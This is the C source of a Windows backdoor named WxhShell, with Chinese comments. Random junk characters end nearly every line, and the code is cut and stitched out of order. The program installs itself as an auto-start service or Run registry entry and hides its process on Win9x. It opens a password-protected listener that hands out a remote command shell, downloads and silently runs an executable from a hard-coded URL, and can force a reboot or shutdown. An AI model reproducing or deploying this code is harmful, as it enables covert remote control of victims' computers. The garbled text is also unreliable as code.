    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YguW2R=6]  
    if(Boot(SHUTDOWN)) FPZ@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @at*E%T[  
    else { uINEq{yo  
    closesocket(wsh); 7Up-a^k^`  
    ExitThread(0); iAPGP -<6  
    } \{Je!#  
    break; Lm.N {NV'  
    } ;*U&lT  
  // 获取shell V`i(vC(  
  case 's': { Zs;c0T ">  
    CmdShell(wsh); ZEpu5`  
    closesocket(wsh); >* F#ZZv}p  
    ExitThread(0); \l# H#~  
    break; Q&@<?K9  
  } -]YsiE?r  
  // 退出 Nr"GxezU+A  
  case 'x': { 0C"2?etMx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7|[Dr@.S  
    CloseIt(wsh); C\;%IGn  
    break; &$#NV@  
    } vfVF^ WOd  
  // 离开 )7AjRtb!/  
  case 'q': { _W,?_"[R=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rJtk4hOF  
    closesocket(wsh); P.=Dd"La  
    WSACleanup(); 4{ZVw/VP,-  
    exit(1); yFDt%&*n^  
    break; naeppBo  
        } mZ3Z8q}%P  
  } &Ot9"Aq:  
  } ,?%o ~  
YluvWHWi  
  // 提示信息 ]D^; Ca  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y[m*  
} 4 'vjU6gW  
  }  j~cG#t]  
gF;C% }  
  return; Ly1t'{"7  
} bIk4?S  
M?n}{0E4  
// shell模块句柄 mM+^v[=  
int CmdShell(SOCKET sock) -:Juxh  
{ NID2$p  
STARTUPINFO si; s(=@J?7As  
ZeroMemory(&si,sizeof(si)); e;"%h%'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )IIWXN2A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gy#G;9p  
PROCESS_INFORMATION ProcessInfo; _?bF;R  
char cmdline[]="cmd"; EU Oa8Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YW8Odm  
  return 0; 8)b*q\ O'  
} n2["Ln mO  
JiXN"s^mcb  
// 自身启动模式 =~dXP  
int StartFromService(void) K8QEHc:  
{ g`"_+x'  
typedef struct |+<o(Q(  
{ >{0,dGm  
  DWORD ExitStatus; N~(?g7  
  DWORD PebBaseAddress; /de~+I5AB~  
  DWORD AffinityMask;  %Rm`YH?  
  DWORD BasePriority; PA,\o8]x  
  ULONG UniqueProcessId; [LbCG  
  ULONG InheritedFromUniqueProcessId; H4M`^r@)'  
}   PROCESS_BASIC_INFORMATION; 4]%MrSjS  
`{}DLaD9  
PROCNTQSIP NtQueryInformationProcess; "M %WV>  
! ;Ctz'wz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F)S?>P&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T\7t#Z k  
nv: VX{%  
  HANDLE             hProcess; |4` ;G(ta  
  PROCESS_BASIC_INFORMATION pbi; =feVT2*  
A{DE7gp!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z[\nyj  
  if(NULL == hInst ) return 0; ),-MrL8c%  
_M- PF$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :ee'|c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S9qc34\^=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9; aOUs:<  
VlxHZ  
  if (!NtQueryInformationProcess) return 0; edlsS}8^  
UGA` `;f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i/,IG+4vI  
  if(!hProcess) return 0; 2rS`ViicD  
CraD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v0pev;C  
5&134!hC  
  CloseHandle(hProcess);  LD}<|  
 '^,|8A2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uC 2{ Mmy  
if(hProcess==NULL) return 0; 0qN+W&H  
rp!{QG  
HMODULE hMod; |W|RX3D  
char procName[255]; D}nRH@<`  
unsigned long cbNeeded; 9t&m\J >8;  
Z.U8d(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ;W@  
!q^2| %  
  CloseHandle(hProcess); A$::|2~  
h$$i@IO0  
if(strstr(procName,"services")) return 1; // 以服务启动 >WY\P4)k  
m=^ihQ  
  return 0; // 注册表启动 [|L~" BB  
} v)v`896S`  
j[:Iu#VR  
// 主模块 &W>%E!F  
int StartWxhshell(LPSTR lpCmdLine) @dvb%A&Pur  
{ .;;:t0PB  
  SOCKET wsl; s{0c.M  
BOOL val=TRUE; } FC(Z-g  
  int port=0; 'L veCi_  
  struct sockaddr_in door; f;,^ ]mw  
tE:6  
  if(wscfg.ws_autoins) Install(); "!PN+gB  
QG;V\2T2[  
port=atoi(lpCmdLine); ;2,Q:&`   
)"Dl,Fig:/  
if(port<=0) port=wscfg.ws_port; -W1Apd%>  
()(/9t  
  WSADATA data; VCvFCyAz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~J|B  
KU87WpjX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EN@<z;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7)l+h Z  
  door.sin_family = AF_INET; "jP{m; p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =XZd_v  
  door.sin_port = htons(port); ?.69nN  
c(lG_"q6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vC-5_pl  
closesocket(wsl); %d#j%=  
return 1; <;zcz[~  
} w(!COu  
* o#P)H  
  if(listen(wsl,2) == INVALID_SOCKET) { [^\HP] *Q{  
closesocket(wsl); _4X3g%nXl  
return 1;  I8  
} E:$r" oS  
  Wxhshell(wsl); OF1Qr bj  
  WSACleanup(); j>|mpfU  
I?Q[ZH:M  
return 0; @-aMj  
QfI@=Kbg%#  
} HD8*>p.  
Rj])c^ZA'*  
// 以NT服务方式启动 ~x g#6%<=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f9?f!k  
{ =(p]L  
DWORD   status = 0; dC 8,  
  DWORD   specificError = 0xfffffff; ,<]~/5-f  
=~'{2gsB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o=I.i>c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I{uwT5QT-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H.!\j&4j  
  serviceStatus.dwWin32ExitCode     = 0; Bx ru7E"  
  serviceStatus.dwServiceSpecificExitCode = 0; Cg];UB}k  
  serviceStatus.dwCheckPoint       = 0; nT/Az g  
  serviceStatus.dwWaitHint       = 0; 78FLy7  
yMKVF`D*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t@3y9U$  
  if (hServiceStatusHandle==0) return; OEXa^M4x   
>vfbXnN  
status = GetLastError(); rHD_sC*  
  if (status!=NO_ERROR) fwz-)?   
{ !)LVZfQ0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eBg:[4 4V  
    serviceStatus.dwCheckPoint       = 0; 71OQ?fc  
    serviceStatus.dwWaitHint       = 0; ,g{Ob{qT  
    serviceStatus.dwWin32ExitCode     = status; 1 ac;6`  
    serviceStatus.dwServiceSpecificExitCode = specificError; G q2@37U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i'uSu8$'*  
    return; vALH!Kh  
  } L31#v$;4  
]5:0.$5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d\j[O9W>  
  serviceStatus.dwCheckPoint       = 0; Tu_4kUCR!f  
  serviceStatus.dwWaitHint       = 0; ^y<8 &ZFH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6"u"B-cz  
} ,?`Zrxe[  
3s$vaV~(a  
// 处理NT服务事件,比如:启动、停止 9<-7AN}Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ExZ|_7^<  
{ +`'>   
switch(fdwControl) >4]y)df5  
{ [^ eQGv[S  
case SERVICE_CONTROL_STOP: T6I$7F  
  serviceStatus.dwWin32ExitCode = 0; raB', Vp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +`l)W`zX  
  serviceStatus.dwCheckPoint   = 0; 2HF_kYZ  
  serviceStatus.dwWaitHint     = 0; Y3?)*kz%  
  { XSe\@t~&g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N 2$uw@s  
  } zT ; +akq  
  return; ]T1\gv1~  
case SERVICE_CONTROL_PAUSE: )5/,B-+O"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UA(&_-C\  
  break; F`RPXY`ux  
case SERVICE_CONTROL_CONTINUE: %SN"<O!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]@hN&W(+x  
  break; aP/Ff%5T  
case SERVICE_CONTROL_INTERROGATE: rqz`F\A;%  
  break; n1;zml:7_  
}; ) S,f I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I7Xm~w!{qk  
} bSj-xxB]e  
JNxrs~}  
// 标准应用程序主函数 (u-eL#@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]lZ g }7h  
{ l3HfaCP6:  
'0 J*9  
// 获取操作系统版本 "-:-!1;Ji  
OsIsNt=GetOsVer(); vhKHiw9L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cE+Y#jB  
IT:8k5(L5j  
  // 从命令行安装 ]jgMN7  
  if(strpbrk(lpCmdLine,"iI")) Install(); '))K' u  
/#g P#Z%  
  // 下载执行文件 B*AB@  
if(wscfg.ws_downexe) { o3(:R0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JXF0}T)C  
  WinExec(wscfg.ws_filenam,SW_HIDE); u Xo?  
} x<\5Jrqt  
Df.eb|[{  
if(!OsIsNt) { OZ6:u^OS]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~+CEek  
HideProc(); fRomP-S  
StartWxhshell(lpCmdLine); bO+]1nZ.  
} <KBS ;t="1  
else a9g~(#?a  
  if(StartFromService()) (qDPGd*1  
  // 以服务方式启动 k]9+/ $  
  StartServiceCtrlDispatcher(DispatchTable); XS=f>e1<W  
else }0AoV&75  
  // 普通方式启动 @|EWif|  
  StartWxhshell(lpCmdLine); sr-tZ^d5S?  
e&-MP;kgW9  
return 0; Fuy"JmeR  
} $nr=4'y Z  
!Wz4BBU8o  
 EHk$,bM  
KtD XB>  
=========================================== t_w2J=2  
dQ=L<{(  
!24PJ\~I  
/Csk"IfuO  
S9%ZeM +  
@K1'Q!S *  
" PC3?eS}  
6 l7iX]  
#include <stdio.h> ]\ t20R{z  
#include <string.h> *=X61`0  
#include <windows.h> 1'f&  
#include <winsock2.h>  xq&r|el  
#include <winsvc.h> 1 RVs!;  
#include <urlmon.h> d'@i8N["{  
00/ RBs 5  
#pragma comment (lib, "Ws2_32.lib") Q$b4\n?44  
#pragma comment (lib, "urlmon.lib") $V,ZH* g  
m,V"S(A  
#define MAX_USER   100 // 最大客户端连接数 Q%x-BZb~  
#define BUF_SOCK   200 // sock buffer `PZcL2~E  
#define KEY_BUFF   255 // 输入 buffer 6k`O  
[C{oj*"c]  
#define REBOOT     0   // 重启 3L:SJskYR  
#define SHUTDOWN   1   // 关机 mwO9`AU;  
Egmp8:nZl@  
#define DEF_PORT   5000 // 监听端口 ^J'O8G$  
%#TAz7  
#define REG_LEN     16   // 注册表键长度 fLZ mQO  
#define SVC_LEN     80   // NT服务名长度 u4h.\ul8%  
= ( 4l  
// 从dll定义API Vp&"[rC_z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M}]4tAyT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N"s"^}M\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jw0I$W/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zmm6&OZ%  
kK=f@l  
// wxhshell配置信息 B*:W`}G]_c  
struct WSCFG { 9Y+7o%6e  
  int ws_port;         // 监听端口 '0v]?mM  
  char ws_passstr[REG_LEN]; // 口令 iLQ;`/j  
  int ws_autoins;       // 安装标记, 1=yes 0=no l~mj>$  
  char ws_regname[REG_LEN]; // 注册表键名 XbIxGL  
  char ws_svcname[REG_LEN]; // 服务名 `6<Qb=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <Vl`EfA(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <l5s[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cd|rDa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 80K"u[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |k#EYf#Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pgPm0+N  
E+cx 8(   
}; 8>`8p0I$+  
Oj '^Ww m  
// default Wxhshell configuration $B`ETI9g-N  
struct WSCFG wscfg={DEF_PORT, Vg}+w Nt5  
    "xuhuanlingzhe", cN`P5xP'  
    1, VFq7nV/O  
    "Wxhshell", IV~5Y{(l  
    "Wxhshell", XZrzG P(  
            "WxhShell Service", V/tl-;W  
    "Wrsky Windows CmdShell Service", ki|OowP  
    "Please Input Your Password: ", ^%O$7*  
  1, <Ok7 -:OxA  
  "http://www.wrsky.com/wxhshell.exe", }U?:al/m  
  "Wxhshell.exe" o1thGttVDg  
    }; [9yd29pQ]  
]e$n;tuW  
// 消息定义模块 9<.8mW^68  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?}HZJ@:lB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G "ixw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #'. '|z  
char *msg_ws_ext="\n\rExit."; ZB]234`0  
char *msg_ws_end="\n\rQuit."; NR"C@3kD]o  
char *msg_ws_boot="\n\rReboot..."; xVTl  
char *msg_ws_poff="\n\rShutdown..."; 5b->pc  
char *msg_ws_down="\n\rSave to "; -@Z9h)G|  
{4*5Z[  
char *msg_ws_err="\n\rErr!"; ' pIC~  
char *msg_ws_ok="\n\rOK!"; {LT2^gy=  
f#-\*  
char ExeFile[MAX_PATH]; B<ZCuVWH:  
int nUser = 0; D;z!C ys  
HANDLE handles[MAX_USER]; 9{0%M  
int OsIsNt; c3WF!~1r  
i!eY"|o  
SERVICE_STATUS       serviceStatus; &%tW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oJ|m/i)  
G=l:v  
// 函数声明 5=  V29  
int Install(void); SNf~%B?`L  
int Uninstall(void); &yI>A1  
int DownloadFile(char *sURL, SOCKET wsh); Oj8D+sC{  
int Boot(int flag); &~'i,v|E  
void HideProc(void); j Q8 T  
int GetOsVer(void); y5XFJj  
int Wxhshell(SOCKET wsl); ^4xl4nbx  
void TalkWithClient(void *cs); U+aiH U9  
int CmdShell(SOCKET sock); &{q<  
int StartFromService(void); t"OP*  
int StartWxhshell(LPSTR lpCmdLine); _+Z5qUmQ  
!wC( ]Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /T 2 v`Li  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ExF6y#Y G<  
h@J3+u<  
// 数据结构和表定义 nELY(z  
SERVICE_TABLE_ENTRY DispatchTable[] = BU|)lU5)z  
{ PP]7_h^ 2  
{wscfg.ws_svcname, NTServiceMain}, C3~O6<,Jh  
{NULL, NULL} &UO/p/a  
}; 93 =?^  
V."cmtf  
// 自我安装 VxE;tJ>1  
int Install(void) , eSpt#M  
{ 7jGfQ  
  char svExeFile[MAX_PATH]; 0}po74x*r  
  HKEY key; v^ v \6uEP  
  strcpy(svExeFile,ExeFile); At !@Rc  
) )t]5Ys%;  
// 如果是win9x系统,修改注册表设为自启动 %'VzN3Q5V  
if(!OsIsNt) { J&B5Ll  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I9x kqj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F I~=A/:  
  RegCloseKey(key); +G+1B6S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Hj7b:3K&!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  bDD29  
  RegCloseKey(key); E33WT{H&_'  
  return 0; uo(LZUjPbN  
    } bfYVA2=Z  
  } d%K{JkD-  
} (iIzoEpb8W  
else { x:h)\%Dg<  
c2L\m*^o  
// 如果是NT以上系统,安装为系统服务 !#W3Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dp4vybJ  
if (schSCManager!=0) /%)(Uz  
{ vP\6=71Y  
  SC_HANDLE schService = CreateService / %iS\R%ca  
  ( Z~[eG"6zI  
  schSCManager, 4~8-^^  
  wscfg.ws_svcname, TX7dwmt) N  
  wscfg.ws_svcdisp, sHPj_d#  
  SERVICE_ALL_ACCESS, "<f?.l\+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [+="I &  
  SERVICE_AUTO_START, [.w`r>kZI  
  SERVICE_ERROR_NORMAL, 5Zmc3&vRl  
  svExeFile, TI\EkKu"  
  NULL, GkI{7GD:z  
  NULL, s3'kzwX  
  NULL, Fc=6 *.hy  
  NULL, 7]~|dc(  
  NULL <9T,J"y  
  ); b `bg`}x  
  if (schService!=0) +;=>&XR0m  
  { /c6]DQ<?  
  CloseServiceHandle(schService); o)$eIu}Wg  
  CloseServiceHandle(schSCManager); 8VuLL<\|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -B(p8YH  
  strcat(svExeFile,wscfg.ws_svcname); 1QnaZhu'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ):A.A,skf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _;:_ !`  
  RegCloseKey(key); [;o>q;75Jz  
  return 0; sbFIKq]  
    } t~BWN  
  } vsQvJDna~  
  CloseServiceHandle(schSCManager); _>r (T4}]  
} jhBfy|Ftu  
} P*OT&q  
%!A-K1Z\D  
return 1; 4vND ~9d  
} ^(@]5$^Z  
MBnxF^c&P  
// 自我卸载 /LtbmV  
int Uninstall(void) Sz]1`%_H/  
{ #r1y|)m`  
  HKEY key; }5}>B *  
F8M};&=*1r  
if(!OsIsNt) { EMdU4YnE"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qT&zg@m  
  RegDeleteValue(key,wscfg.ws_regname); oel?we6  
  RegCloseKey(key); wD W/?lT&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M(uJ'Ud/!  
  RegDeleteValue(key,wscfg.ws_regname); 73_-7'^mQ  
  RegCloseKey(key); ;e9&WEG_\  
  return 0; +_QcLuV,  
  } XQmg^x[,A  
} .[s6PzQy  
} 52^,qP'6  
else { 1]vDM&9  
xsNOjHk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rFUd  
if (schSCManager!=0) $BG]is,&5  
{ f zL5C2d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); = C/F26=|  
  if (schService!=0) ~:|V,1  
  { |cC&,8O:{  
  if(DeleteService(schService)!=0) { m Ph=bG  
  CloseServiceHandle(schService); "?FBbJ  
  CloseServiceHandle(schSCManager); VuN#j<H  
  return 0; NbCIL8f]  
  } P m&^rC;  
  CloseServiceHandle(schService); 5H|7DVG  
  } 6E(..fo:"  
  CloseServiceHandle(schSCManager); _c-(T&u<  
} 0%,?z`UY  
} CkNh3'<wg  
@W~aoq6  
return 1; W@zu N)U  
} !1A< jL  
}]<|`FNc  
// 从指定url下载文件 @x;(yqOb  
int DownloadFile(char *sURL, SOCKET wsh) NS;L FeGD  
{ bfpoX,:   
  HRESULT hr;  ':DL  
char seps[]= "/"; F(^#_tXP  
char *token; 9E4^hkD&  
char *file; 2^nws  
char myURL[MAX_PATH]; g1]bI$;  
char myFILE[MAX_PATH]; P\QbMj1U  
%;<g!Vw.k  
strcpy(myURL,sURL); L|;sB=$'{  
  token=strtok(myURL,seps); ZF8`= D`:R  
  while(token!=NULL) FPPl^  
  { rEbH< |  
    file=token; NgF"1E  
  token=strtok(NULL,seps); bQ&%6'ck  
  } pd.unEWwF  
)h{+pK  
GetCurrentDirectory(MAX_PATH,myFILE); x|()f 3{.  
strcat(myFILE, "\\"); NJ;m&Tm,DF  
strcat(myFILE, file); #.C2_MN>  
  send(wsh,myFILE,strlen(myFILE),0); )5y" T0]  
send(wsh,"...",3,0); WLta{A?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0O-"tP8o  
  if(hr==S_OK) ( )f)  
return 0; xDsKb_  
else nwqA\  
return 1; 4]-7S l,  
02,.UqCz  
} hF`<I.z}  
'tU\~3k  
// 系统电源模块 | h+vdE8  
int Boot(int flag) c\O2|'JzE  
{ !| - U,  
  HANDLE hToken; zJ:%iL@  
  TOKEN_PRIVILEGES tkp; xuVc1jJH  
17 0r5  
  if(OsIsNt) { 7#7|+%W0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rp2g./2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /FC(d5I  
    tkp.PrivilegeCount = 1; 8HHR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vo2GFo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @2-;,VL3  
if(flag==REBOOT) { 9`? M-U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V'UFc>{o  
  return 0; PtzT><  
} F" 4;nU  
else { j |o&T41  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #\ysn|!J,  
  return 0; _+~&t9A!  
} >hV 2p/D  
  } VWzuV&;P  
  else { b):aqRwP  
if(flag==REBOOT) { qZv@ULluc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kltqe5  
  return 0; Wt=@6w&  
} v"o@q2f_  
else { 3preBs#i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BMV\@Sg  
  return 0; |sP0z !)b  
} 6BM$u v4  
} ]mgpd}Y  
ASr@5uFR  
return 1; AN|f:259  
} cRNVqMpg  
GdrVH,j  
// win9x进程隐藏模块 S 2W@;XvV  
void HideProc(void) ^\Q%VTM  
{ ZvO1=* J,  
>J_ P[v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {))Cb9'  
  if ( hKernel != NULL ) |YfJ#Agm+  
  { ?[Ma" l>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6:`[Fi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &2O~BIRE  
    FreeLibrary(hKernel); >m{>0k(^`  
  } [nrD4  
QXl~a%lB  
return; jpTk@  
} oL<5hN*D  
!- 5z 1b)  
// 获取操作系统版本 4mpcI  
int GetOsVer(void) G|"m-.9F  
{ UISsiiG(  
  OSVERSIONINFO winfo; .3cD.']%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); % I2JS  
  GetVersionEx(&winfo); gFfKK`)}D'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ Z5160  
  return 1; peOoZdJd  
  else 5P 5Tgk  
  return 0; cR*~JwC:  
} AE Elaq.B  
,068IEs  
// 客户端句柄模块 TqOH(= {  
int Wxhshell(SOCKET wsl) J(= y$8xje  
{ ^uVPN1}b^@  
  SOCKET wsh; b.kV>K"X3  
  struct sockaddr_in client; E&U_@ bc-  
  DWORD myID; ZA@zs,o%  
lLglF4  
  while(nUser<MAX_USER) m@0> =s~.  
{ t=s.w(3t  
  int nSize=sizeof(client); ziM@@$ .F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kmtkh "  
  if(wsh==INVALID_SOCKET) return 1; c"t&,OU:  
!67xN?b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \b$Y_  
if(handles[nUser]==0) GJHJ?^%  
  closesocket(wsh); f;Ijl0d@  
else p1mAoVxR  
  nUser++; && PZ;  
  } 7  `c!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pt-O1$C[  
aYWUwYB$  
  return 0; /~c9'38  
} Fzy#!^9Nu  
F}1._I`-  
// 关闭 socket v#:?:<  
void CloseIt(SOCKET wsh) hb)C"q=  
{ %[azMlp<  
closesocket(wsh); *!3qO^b?  
nUser--; pZt>rv  
ExitThread(0); Hc8!cATQk  
} J6rWe  
%,aSD#l`f  
// 客户端请求句柄 x{Dw?6TP  
void TalkWithClient(void *cs) 5 [4{1v  
{ Re'3bs:+  
soX^$l  
  SOCKET wsh=(SOCKET)cs; Ae1b`%To  
  char pwd[SVC_LEN]; ^<   
  char cmd[KEY_BUFF]; *Gj`1# Z$  
char chr[1]; N3oa!PE  
int i,j; !:tr\L {  
I#7H)^us  
  while (nUser < MAX_USER) { D-x*RRkpp  
Ra:UnA  
if(wscfg.ws_passstr) { vmo!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ <k&]Kv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BJ fBY H,M  
  //ZeroMemory(pwd,KEY_BUFF); t\Qm2Q)>  
      i=0; Vh]=sd<F  
  while(i<SVC_LEN) { X gtn}7N.  
L;+e)I]  
  // 设置超时 CUBL/U\=  
  fd_set FdRead; F6:LH,~8   
  struct timeval TimeOut; 2^:iU{  
  FD_ZERO(&FdRead); If8 ^  
  FD_SET(wsh,&FdRead); wu b7w#  
  TimeOut.tv_sec=8; Be<bBKQb  
  TimeOut.tv_usec=0; TD4 n%k.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HIfi18  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F5M|QX@-  
9F~5Ht  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X\*H7;k,  
  pwd=chr[0]; "1%k"+&  
  if(chr[0]==0xd || chr[0]==0xa) { <DII%7q,6/  
  pwd=0; PGVP0H+RV  
  break; U#XW}T=|  
  } :/RvtmW  
  i++; J{L d)Q,^  
    } #'RfwldD9  
) M(//jX  
  // 如果是非法用户,关闭 socket b !nA.`T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~*Y/#kPY  
} !<b+7 A  
\{ C ~B;=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q^<;B Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :R$v7{1  
XIl#0-E0X  
while(1) { {>TAnb?n  
x`'s  
  ZeroMemory(cmd,KEY_BUFF); v3kT~uv  
47A[-&y*X  
      // 自动支持客户端 telnet标准   j)juvat  
  j=0; 57;( P  
  while(j<KEY_BUFF) { ]5MT-qU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u9]M3>  
  cmd[j]=chr[0]; %+UTs'I  
  if(chr[0]==0xa || chr[0]==0xd) { ft iAty0n  
  cmd[j]=0; ^W^Y"0y9`  
  break; ?iHcY,  
  } r'XWt]B+[  
  j++; T?`Ha\go  
    } zn|O)"C  
?,[$8V  
  // 下载文件 g  b[.Ww  
  if(strstr(cmd,"http://")) {  ;CV'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z 8GIZ  
  if(DownloadFile(cmd,wsh)) w[EEA_\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-<`Z NMU  
  else T~p>Ed9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WM=)K1p0u  
  } Z1 (!syg  
  else { m]{/5L  
^lK!tOeO  
    switch(cmd[0]) { >}u#KBedE  
  m&s;zQ  
